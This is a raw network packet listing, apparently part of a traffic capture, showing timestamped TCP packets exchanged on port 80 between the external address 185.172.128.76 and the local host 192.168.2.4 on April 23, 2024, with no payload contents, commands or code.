Apr 23, 2024 09:38:22.181791067 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.181801081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.181838036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.184221983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.184259892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.184281111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.184298038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.184319019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.184334040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.184345961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.184372902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.184380054 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.184410095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.184421062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.184448004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.184454918 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.184483051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.184497118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.184528112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187197924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187235117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187271118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187289000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187306881 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187324047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187345028 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187351942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187393904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187416077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187450886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187469959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187486887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187500000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187524080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187531948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187561035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187566996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187598944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187604904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187686920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187690020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187722921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187737942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187758923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187768936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187796116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187833071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187843084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187868118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187871933 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187906027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187912941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187942982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187952042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.187978983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.187994957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188015938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188030958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188055038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188059092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188091993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188103914 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188144922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188153982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188189030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188194990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188225031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188231945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188261986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188271999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188297987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188306093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188335896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188339949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188373089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188407898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188421011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188442945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188446045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188479900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188514948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188527107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188550949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188559055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188587904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188596964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188626051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188632011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188662052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188663006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188699007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188704014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188735962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188747883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188771963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188781023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188807964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188818932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188843966 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188853979 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188880920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188888073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188918114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188922882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188956022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.188966036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.188992977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.189001083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.189030886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.189035892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.189080000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338253975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338314056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338345051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338351965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338363886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338396072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338435888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338447094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338473082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338479996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338514090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338527918 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338551044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338561058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338587046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338609934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338625908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338634968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338669062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.338941097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338978052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.338990927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339015961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339020967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339061975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339087009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339126110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339133978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339164019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339174032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339199066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339206934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339236021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339241982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339272976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339308977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339315891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339346886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339353085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339382887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339394093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339420080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339428902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339456081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339464903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339493036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339499950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339534998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339540005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339570999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339576006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339607954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339612961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339643955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339647055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339679956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339685917 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339716911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339723110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339754105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339760065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339792013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339796066 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339828968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339834929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339865923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339870930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339903116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339904070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339941978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339946985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.339982033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.339988947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340019941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340025902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340055943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340061903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340091944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340095043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340137959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340152025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340187073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340221882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340231895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340257883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340265036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340297937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340305090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340334892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340369940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340370893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340390921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340414047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340445042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340449095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340459108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340487957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340523005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340531111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340558052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340560913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340596914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.340601921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.340640068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.383030891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383097887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383100986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.383136988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383171082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.383173943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383191109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.383213043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383239031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.383251905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383261919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.383291006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383297920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.383328915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383338928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.383368015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383407116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.383409977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.383451939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.385364056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.385401964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.385416031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.385437965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.385443926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.385473967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.385481119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.385510921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.385515928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.385548115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.385554075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.385584116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.385588884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.385665894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.388237000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.388276100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.388298988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.388326883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.389859915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.389919043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.389950991 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.389955044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.389959097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390001059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390037060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390047073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390073061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390079021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390109062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390115023 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390146017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390151024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390182972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390189886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390219927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390232086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390255928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390290976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390300989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390327930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390336037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390364885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390371084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390400887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390407085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390436888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390439987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390474081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390502930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390511036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390532017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390547037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390561104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390583992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390614033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390619993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390633106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390655994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390678883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390691996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390702009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390728951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390733957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390764952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390774012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390801907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390805960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390839100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390845060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390883923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390887022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390923977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390959024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.390965939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.390996933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391002893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391033888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391041994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391071081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391076088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391109943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391112089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391160011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391182899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391218901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391227007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391256094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391263008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391292095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391300917 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391328096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391333103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391364098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391370058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391401052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391407967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391437054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.391444921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.391472101 CEST	80	49733	185.172.128.76	192.168.2.4
